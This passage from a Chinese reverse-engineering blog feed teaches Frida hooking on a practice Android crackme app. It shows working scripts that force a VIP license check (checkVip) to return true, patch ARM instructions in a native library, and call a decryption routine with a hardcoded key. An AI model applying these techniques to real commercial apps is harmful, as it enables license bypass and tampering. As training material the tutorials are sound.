class="line">3</span><br></pre></td><td class="code"><pre><span class="line">var moduleAddr1 = Process.findModuleByName(&quot;lib52pojie.so&quot;).base;  </span><br><span class="line">var moduleAddr2 = Process.getModuleByName(&quot;lib52pojie.so&quot;).base;  </span><br><span class="line">var moduleAddr3 = Module.findBaseAddress(&quot;lib52pojie.so&quot;);</span><br></pre></td></tr></table></figure><h2 id="6-Hook未导出函数与函数地址计算"><a href="#6-Hook未导出函数与函数地址计算" class="headerlink" title="6.Hook未导出函数与函数地址计算"></a>6.Hook未导出函数与函数地址计算</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">function hookTest6()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        //根据导出函数名打印基址</span><br><span class="line">        var soAddr = Module.findBaseAddress(&quot;lib52pojie.so&quot;);</span><br><span class="line">        console.log(soAddr);</span><br><span class="line">        var funcaddr = soAddr.add(0x1071C);  </span><br><span class="line">        console.log(funcaddr);</span><br><span class="line">        if(funcaddr != null)&#123;</span><br><span class="line">            Interceptor.attach(funcaddr,&#123;</span><br><span class="line">                onEnter: function(args)&#123;  //args参数</span><br><span class="line"> </span><br><span class="line">                &#125;,</span><br><span class="line">                onLeave: function(retval)&#123;  //retval返回值</span><br><span class="line">                    console.log(retval.toInt32());</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>函数地址计算</p><ol><li><p>安卓里一般32 位的 so 中都是<code>thumb</code>指令，64 位的 so 中都是<code>arm</code>指令</p></li><li><p>通过IDA里的opcode bytes来判断，arm 指令为 4 个字节(options -&gt; general -&gt; Number of opcode bytes (non-graph)  输入4)</p></li><li><p>thumb 指令，函数地址计算方式： so 基址 + 函数在 so 中的偏移 + 1<br>arm 指令，函数地址计算方式： so 基址 + 函数在 so 中的偏移</p><h2 id="7-Hook-dlopen"><a href="#7-Hook-dlopen" class="headerlink" title="7.Hook_dlopen"></a>7.Hook_dlopen</h2><p><a href="http://aospxref.com/android-8.0.0_r36/xref/bionic/libdl/libdl.c?r=&mo=4035&fi=101#101" target="_blank" rel="noopener">dlopen源码</a></p></li></ol><p><a href="http://aospxref.com/android-8.0.0_r36/xref/bionic/libdl/libdl.c#146" target="_blank" rel="noopener">android_dlopen_ext源码</a></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">hook_dlopen</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">var</span> dlopen = Module.findExportByName(<span class="literal">null</span>, <span class="string">"dlopen"</span>);</span><br><span class="line">    Interceptor.attach(dlopen, &#123;</span><br><span class="line">        onEnter: <span class="function"><span class="keyword">function</span> (<span class="params">args</span>) </span>&#123;</span><br><span class="line">            <span class="keyword">var</span> so_name = args[<span class="number">0</span>].readCString();</span><br><span class="line">            <span class="keyword">if</span> (so_name.indexOf(<span class="string">"lib52pojie.so"</span>) &gt;= <span class="number">0</span>) <span class="keyword">this</span>.call_hook = <span class="literal">true</span>;</span><br><span class="line">        &#125;, <span class="attr">onLeave</span>: <span class="function"><span class="keyword">function</span> (<span class="params">retval</span>) </span>&#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">this</span>.call_hook) hookTest2();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="comment">// 高版本Android系统使用android_dlopen_ext</span></span><br><span class="line">    <span class="keyword">var</span> android_dlopen_ext = Module.findExportByName(<span class="literal">null</span>, <span class="string">"android_dlopen_ext"</span>);</span><br><span class="line">    Interceptor.attach(android_dlopen_ext, &#123;</span><br><span class="line">        onEnter: <span class="function"><span class="keyword">function</span> (<span class="params">args</span>) </span>&#123;</span><br><span class="line">            <span class="keyword">var</span> so_name = args[<span class="number">0</span>].readCString();</span><br><span class="line">            <span class="keyword">if</span> (so_name.indexOf(<span class="string">"lib52pojie.so"</span>) &gt;= <span class="number">0</span>) <span class="keyword">this</span>.call_hook = <span class="literal">true</span>;</span><br><span class="line">        &#125;, <span class="attr">onLeave</span>: <span class="function"><span class="keyword">function</span> (<span class="params">retval</span>) </span>&#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">this</span>.call_hook) hookTest2();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="8-借助IDA脚本实现一键式hook"><a href="#8-借助IDA脚本实现一键式hook" class="headerlink" title="8.借助IDA脚本实现一键式hook"></a>8.借助IDA脚本实现一键式hook</h2><p>通过MyIDAFrida直接生成，默认应该只适用于attach模式</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/844f14dab80198e31c206a8eba58bb3d_1721116915630.png" alt><br>粘贴到文件，之后也是通过的方式启动</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">frida -U wuaipojie -l .\idahook.js</span><br></pre></td></tr></table></figure><h1 id="java层hook对应"><a href="#java层hook对应" class="headerlink" title="java层hook对应"></a>java层hook对应</h1><ol><li>通过java层修改</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">//定义一个名为hookTest1的函数</span><br><span class="line">function hookTest1()&#123;</span><br><span class="line">let SecurityUtil = Java.use(&quot;com.zj.wuaipojie.util.SecurityUtil&quot;);</span><br><span class="line">    SecurityUtil[&quot;checkVip&quot;].implementation = function () &#123;</span><br><span class="line">        console.log(`SecurityUtil.checkVip is called`);</span><br><span class="line">        let result = this[&quot;checkVip&quot;]();</span><br><span class="line">        console.log(`SecurityUtil.checkVip result=$&#123;result&#125;`);</span><br><span class="line">        return true;</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol start="2"><li>通过hook java层</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">function hookTest2()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        //根据导出函数名打印地址</span><br><span class="line">        var helloAddr = Module.findExportByName(&quot;lib52pojie.so&quot;,&quot;Java_com_zj_wuaipojie_util_SecurityUtil_checkVip&quot;);</span><br><span class="line">        console.log(helloAddr); </span><br><span class="line">        if(helloAddr != null)&#123;</span><br><span class="line">        //Interceptor.attach是Frida里的一个拦截器</span><br><span class="line">            Interceptor.attach(helloAddr,&#123;</span><br><span class="line">            //onEnter里可以打印和修改参数</span><br><span class="line">                onEnter: function(args)&#123;  //args传入参数</span><br><span class="line">                    // console.log(args[0]);  //打印第一个参数的值</span><br><span class="line">                    // console.log(this.context.x1);  // 打印寄存器内容</span><br><span class="line">                    // console.log(args[1].toInt32()); //toInt32()转十进制</span><br><span class="line">// console.log(args[2].readCString()); //读取字符串 char类型</span><br><span class="line">// console.log(hexdump(args[2])); //内存dump</span><br><span class="line"></span><br><span class="line">                &#125;,</span><br><span class="line">                //onLeave里可以打印和修改返回值</span><br><span class="line">                onLeave: function(retval)&#123;  //retval返回值</span><br><span class="line">                    console.log(retval);</span><br><span class="line">                    // console.log(&quot;retval&quot;,retval.toInt32());</span><br><span class="line">                    retval.replace(1);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;实验环境&quot;&gt;&lt;a href=&quot;#实验环境&quot; class=&quot;headerlink&quot; title=&quot;实验环境&quot;&gt;&lt;/a&gt;实验环境&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;windows 10&lt;br&gt;vscode&lt;br&gt;frida 16.2.1&lt;br&gt;jadx-gui&lt;
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-03" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-03/"/>
    
    
      <category term="Hook,Frida,安卓" scheme="https://www.giantbranch.cn/tags/Hook-Frida-%E5%AE%89%E5%8D%93/"/>
    
  </entry>
  
  <entry>
    <title>安卓Frida Hook进阶</title>
    <link href="https://www.giantbranch.cn/2024/03/18/%E5%AE%89%E5%8D%93Frida%20Hook%E8%BF%9B%E9%98%B6/"/>
    <id>https://www.giantbranch.cn/2024/03/18/安卓Frida Hook进阶/</id>
    <published>2024-03-17T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:48.810Z</updated>
    
    <content type="html"><![CDATA[<h1 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h1><blockquote><p>windows 10<br>vscode<br>frida 16.2.1<br>jadx-gui<br>jeb</p></blockquote><h1 id="实验"><a href="#实验" class="headerlink" title="实验"></a>实验</h1><h2 id="1-Frida写数据"><a href="#1-Frida写数据" class="headerlink" title="1.Frida写数据"></a>1.Frida写数据</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">//一般写在app的私有目录里，不然会报错:failed to open file (Permission denied)(实际上就是权限不足)</span><br><span class="line">var file_path = &quot;/data/user/0/com.zj.wuaipojie/test.txt&quot;;</span><br><span class="line">var file_handle = new File(file_path, &quot;wb&quot;);</span><br><span class="line">if (file_handle &amp;&amp; file_handle != null) &#123;</span><br><span class="line">        file_handle.write(data); //写入数据</span><br><span class="line">        file_handle.flush(); //刷新</span><br><span class="line">        file_handle.close(); //关闭</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="2-Frida-inlineHook与读写汇编"><a href="#2-Frida-inlineHook与读写汇编" class="headerlink" title="2.Frida_inlineHook与读写汇编"></a>2.Frida_inlineHook与读写汇编</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">function inline_hook() &#123;</span><br><span class="line">    var soAddr = Module.findBaseAddress(&quot;lib52pojie.so&quot;);</span><br><span class="line">    if (soAddr) &#123;</span><br><span class="line">        var func_addr = soAddr.add(0x10428);</span><br><span class="line">        Java.perform(function () &#123;</span><br><span class="line">            Interceptor.attach(func_addr, &#123;</span><br><span class="line">                onEnter: function (args) &#123;</span><br><span class="line">                    console.log(this.context.x22); //注意此时就没有args概念了</span><br><span class="line">                    this.context.x22 = ptr(1); //赋值方法参考上一节课</span><br><span class="line">                &#125;,</span><br><span class="line">                onLeave: function (retval) &#123;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            )</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li>将地址的指令解析成汇编</li></ol><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> soAddr = Module.findBaseAddress(<span class="string">"lib52pojie.so"</span>);</span><br><span class="line"><span class="keyword">var</span> codeAddr = Instruction.parse(soAddr.add(<span class="number">0x10428</span>));</span><br><span class="line"><span class="built_in">console</span>.log(codeAddr.toString());</span><br></pre></td></tr></table></figure><ol start="2"><li>Frida Api</li></ol><p><a href="https://armconverter.com/" target="_blank" rel="noopener">arm转hex</a></p><p>直接改写汇编，改机器码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">function patchCode()&#123;</span><br><span class="line">    var soAddr = Module.findBaseAddress(&quot;lib52pojie.so&quot;);</span><br><span class="line">    var codeAddr = soAddr.add(0x10428);</span><br><span class="line">    var codeasm = Instruction.parse(codeAddr);</span><br><span class="line">    console.log(codeasm.toString());</span><br><span class="line">    Memory.patchCode(codeAddr, 4, function(code) &#123;</span><br><span class="line">        const writer = new Arm64Writer(code, &#123; pc: codeAddr &#125;);</span><br><span class="line">        writer.putBytes(hexToBytes(&quot;20008052&quot;)); //     MOV             W0, 1</span><br><span class="line">        // writer.putBytes(hexToBytes(&quot;200080D2&quot;)); //  MOV             X0, 1</span><br><span class="line">        writer.flush();</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">function hexToBytes(str) &#123;</span><br><span class="line">    var pos = 0;</span><br><span class="line">    var len = str.length;</span><br><span class="line">    if (len % 2 != 0) &#123;</span><br><span class="line">        return null;</span><br><span class="line">    &#125;</span><br><span class="line">    len /= 2;</span><br><span class="line">    var hexA = new Array();</span><br><span class="line">    for (var i = 0; i &lt; len; i++) &#123;</span><br><span class="line">        var s = str.substr(pos, 2);</span><br><span class="line">        var v = parseInt(s, 16);</span><br><span class="line">        hexA.push(v);</span><br><span class="line">        pos += 2;</span><br><span class="line">    &#125;</span><br><span class="line">    return hexA;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="3-普通函数与jni函数的主动调用"><a href="#3-普通函数与jni函数的主动调用" class="headerlink" title="3.普通函数与jni函数的主动调用"></a>3.普通函数与jni函数的主动调用</h2><p>frida关于nativefunction的文档：<a href="https://frida.re/docs/javascript-api/#nativefunction" target="_blank" rel="noopener">https://frida.re/docs/javascript-api/#nativefunction</a></p><p>支持的参数类型如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">void</span><br><span class="line">pointer</span><br><span class="line">int</span><br><span class="line">uint</span><br><span class="line">long</span><br><span class="line">ulong</span><br><span class="line">char</span><br><span class="line">uchar</span><br><span class="line">size_t</span><br><span class="line">ssize_t</span><br><span class="line">float</span><br><span class="line">double</span><br><span class="line">int8</span><br><span class="line">uint8</span><br><span class="line">int16</span><br><span class="line">uint16</span><br><span class="line">int32</span><br><span class="line">uint32</span><br><span class="line">int64</span><br><span class="line">uint64</span><br><span class="line">bool</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">var funcAddr = Module.findBaseAddress(&quot;lib52pojie.so&quot;).add(0x1054C);</span><br><span class="line">//声明函数指针</span><br><span class="line">//NativeFunction的第一个参数是地址，第二个参数是返回值类型，第三个[]里的是传入的参数类型(有几个就填几个)</span><br><span class="line">var aesAddr = new NativeFunction(funcAddr , &apos;pointer&apos;, [&apos;pointer&apos;, &apos;pointer&apos;]);</span><br><span class="line">var encry_text = Memory.allocUtf8String(&quot;OOmGYpk6s0qPSXEPp4X31g==&quot;);    //开辟一个指针存放字符串       </span><br><span class="line">var key = Memory.allocUtf8String(&apos;wuaipojie0123456&apos;); </span><br><span class="line">console.log(aesAddr(encry_text ,key).readCString());</span><br></pre></td></tr></table></figure><p>jni函数还是原来那一套，比如下面输出返回值，并修改返回值为true</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">function hooktest()&#123;</span><br><span class="line">    Java.perform(function() &#123;</span><br><span class="line">        var securityUtilClass = Java.use(&quot;com.zj.wuaipojie.util.SecurityUtil&quot;);</span><br><span class="line">        </span><br><span class="line">        // 定义要调用的 JNI 方法</span><br><span class="line">        var checkVipMethod = securityUtilClass.checkVip.overload();</span><br><span class="line">        </span><br><span class="line">        // 在 Frida 中调用 JNI 方法</span><br><span class="line">        checkVipMethod.implementation = function() &#123;</span><br><span class="line">            console.log(&quot;Calling Java_com_zj_wuaipojie_util_SecurityUtil_checkVip method...&quot;);</span><br><span class="line">            </span><br><span class="line">            // 在这里可以添加自定义逻辑</span><br><span class="line">            </span><br><span class="line">            // 调用原始 JNI 方法</span><br><span class="line">            var result = this.checkVip();</span><br><span class="line">            </span><br><span class="line">            // 输出结果</span><br><span class="line">            console.log(&quot;Result: &quot; + result);</span><br><span class="line">            </span><br><span class="line">            // 返回结果</span><br><span class="line">            return true;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="4-Trace"><a href="#4-Trace" class="headerlink" title="4.Trace"></a>4.Trace</h2><table><thead><tr><th>工具名称</th><th>描述</th><th>链接</th></tr></thead><tbody><tr><td>jnitrace</td><td>老牌，经典，信息全，携带方便</td><td><a href="https://github.com/chame1eon/jnitrace" target="_blank" rel="noopener">jnitrace</a></td></tr><tr><td>jnitrace-engine</td><td>基于jnitrace，可定制化</td><td><a href="https://github.com/chame1eon/jnitrace-engine" target="_blank" rel="noopener">jnitrace-engine</a></td></tr><tr><td>jtrace</td><td>定制方便，信息全面，直接在_agent.js或者_agent_stable.js 里面加自己的逻辑就行</td><td><a href="https://github.com/SeeFlowerX/jtrace" target="_blank" rel="noopener">jtrace</a></td></tr><tr><td>hook_art.js</td><td>可提供jni trace，可以灵活的增加你需要hook的函数</td><td><a href="https://github.com/lasting-yang/frida_hook_libart" target="_blank" rel="noopener">hook_art.js</a></td></tr><tr><td>JNI-Frida-Hook</td><td>函数名已定义，方便定位</td><td><a href="https://github.com/Areizen/JNI-Frida-Hook" target="_blank" rel="noopener">JNI-Frida-Hook</a></td></tr><tr><td>findhash</td><td>ida插件，可用于检测加解密函数，也可作为Native Trace库</td><td><a href="https://github.com/Pr0214/findhash" target="_blank" rel="noopener">findhash</a></td></tr><tr><td>Stalker</td><td>frida官方提供的代码跟踪引擎，可以在Native层方法级别，块级别，指令级别实现代码修改，代码跟踪</td><td><a href="https://frida.re/docs/stalker/" target="_blank" rel="noopener">Stalker</a></td></tr><tr><td>sktrace</td><td>类似 ida 指令 trace 功能</td><td><a href="https://github.com/bmax121/sktrace" target="_blank" rel="noopener">sktrace</a></td></tr><tr><td>frida-qbdi-tracer</td><td>速度比frida stalker快，免补环境</td><td><a href="https://github.com/lasting-yang/frida-qbdi-tracer" target="_blank" rel="noopener">frida-qbdi-tracer</a></td></tr><tr><td>### 4.1 frida-trace</td><td></td><td></td></tr><tr><td>Frida-Trace 是 Frida 框架提供的一个功能强大的工具，用于追踪和监视目标应用程序中的函数调用。通过 Frida-Trace，用户可以轻松地跟踪函数的调用、参数和返回值，并实时查看这些信息。以下是 Frida-Trace 的一些主要特点和用法介绍：</td><td></td><td></td></tr></tbody></table><p><strong>主要特点</strong>：</p><ol><li><p><strong>动态追踪</strong>：Frida-Trace 可以实时监视目标应用程序中的函数调用，无需重启应用或重新编译代码。</p></li><li><p><strong>灵活性</strong>：用户可以根据需要选择要追踪的函数，包括系统库函数和自定义函数。</p></li><li><p><strong>函数参数和返回值</strong>：除了函数调用，Frida-Trace 还可以显示函数的参数和返回值，帮助用户更好地理解函数的执行过程。</p></li><li><p><strong>易用性</strong>：Frida-Trace 提供了简洁的命令行接口，用户可以通过命令轻松设置和启动函数追踪。</p></li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">- `-i` / `-a`: 跟踪 C 函数或 so 库中的函数。</span><br><span class="line"></span><br><span class="line">PS:-a 包含模块+偏移跟踪，一般用于追踪未导出函数，例子：-a &quot;lib52pojie.so!0x4793c&quot;</span><br><span class="line"></span><br><span class="line">包含/排除模块或函数：</span><br><span class="line"></span><br><span class="line">- `-I` : 包含指定模块。</span><br><span class="line">- `-X` : 排除指定模块。</span><br><span class="line"></span><br><span class="line">Java 方法跟踪：</span><br><span class="line"></span><br><span class="line">- `-j JAVA_METHOD`: 包含 Java 方法。</span><br><span class="line">- `-J JAVA_METHOD`: 排除 Java 方法。</span><br><span class="line"></span><br><span class="line">附加方式:</span><br><span class="line"></span><br><span class="line">- `-f`:通过 spwan 方式启动</span><br><span class="line">- `-F`:通过 attach 方式附加当前进程</span><br><span class="line"></span><br><span class="line">日志输出:</span><br><span class="line">`-o`:日志输出到文件</span><br></pre></td></tr></table></figure><p>使用案例：</p><p>注意下面需要打开相应的app保持在屏幕上</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#附加当前进程并追踪lib52pojie.so里的所有Java_开头的jni导出函数</span><br><span class="line">frida-trace -U -F -I &quot;lib52pojie.so&quot; -i &quot;Java_&quot;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/2be3f7ec1c14dae19090d36e4b78b028_1721117668567.png" alt></p><h3 id="4-2-jnitrace"><a href="#4-2-jnitrace" class="headerlink" title="4.2 jnitrace"></a>4.2 jnitrace</h3><p>安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install jnitrace==3.3.0</span><br></pre></td></tr></table></figure><p>使用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">//attach模式附加52pojie.so并输出日志，其中wuaipojie是进程名，可以通过frida-ps -U查看</span><br><span class="line">jnitrace -m attach -l lib52pojie.so wuaipojie -o trace.json </span><br><span class="line"></span><br><span class="line">jnitrace -m spawn -l lib52pojie.so com.zj.wuaipojie</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">`-l libnative-lib.so`- 用于指定要跟踪的库</span><br><span class="line"></span><br><span class="line">`-m &lt;spawn|attach&gt;`- 用于指定要使用的 Frida 附加机制</span><br><span class="line"></span><br><span class="line">`-i &lt;regex&gt;`- 用于指定应跟踪的方法名称，例如，`-i Get -i RegisterNatives`将仅包含名称中包含 Get 或 RegisterNatives 的 JNI 方法</span><br><span class="line"></span><br><span class="line">`-e &lt;regex&gt;`- 用于指定跟踪中应忽略的方法名称，例如，`-e ^Find -e GetEnv`将从结果中排除所有以 Find 开头或包含 GetEnv 的 JNI 方法名称</span><br><span class="line"></span><br><span class="line">`-I &lt;string&gt;`- 用于指定应跟踪的库的导出</span><br><span class="line"></span><br><span class="line">`-E &lt;string&gt;`用于指定不应跟踪的库的导出</span><br><span class="line"></span><br><span class="line">`-o path/output.json`- 用于指定`jnitrace`存储所有跟踪数据的输出路径</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/1bb6e9b95f4f963294a3f57d4ec87f0d_1721117668568.png" alt></p><h3 id="4-3-sktrace"><a href="#4-3-sktrace" class="headerlink" title="4.3 sktrace"></a>4.3 sktrace</h3><p>地址：<a href="https://github.com/bmax121/sktrace.git" target="_blank" rel="noopener">https://github.com/bmax121/sktrace.git</a></p><p>这个类似 ida 指令 trace 功能，显示每个执行的汇编的寄存器的值</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python sktrace.py -m attach -l lib52pojie.so -i 0x103B4 wuaipojie</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/1800ccc018ce2865dbb1981d0bf9fd19_1721117668569.png" alt></p><h2 id="5-控制流混淆对抗新发现"><a href="#5-控制流混淆对抗新发现" class="headerlink" title="5.控制流混淆对抗新发现"></a>5.控制流混淆对抗新发现</h2>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;实验环境&quot;&gt;&lt;a href=&quot;#实验环境&quot; class=&quot;headerlink&quot; title=&quot;实验环境&quot;&gt;&lt;/a&gt;实验环境&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;windows 10&lt;br&gt;vscode&lt;br&gt;frida 16.2.1&lt;br&gt;jadx-gui&lt;
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-03" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-03/"/>
    
    
      <category term="Hook,Frida,安卓安全" scheme="https://www.giantbranch.cn/tags/Hook-Frida-%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>安卓Frida Hook之objection</title>
    <link href="https://www.giantbranch.cn/2024/03/17/%E5%AE%89%E5%8D%93Frida%20Hook%E4%B9%8Bobjection/"/>
    <id>https://www.giantbranch.cn/2024/03/17/安卓Frida Hook之objection/</id>
    <published>2024-03-16T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:49.302Z</updated>
    
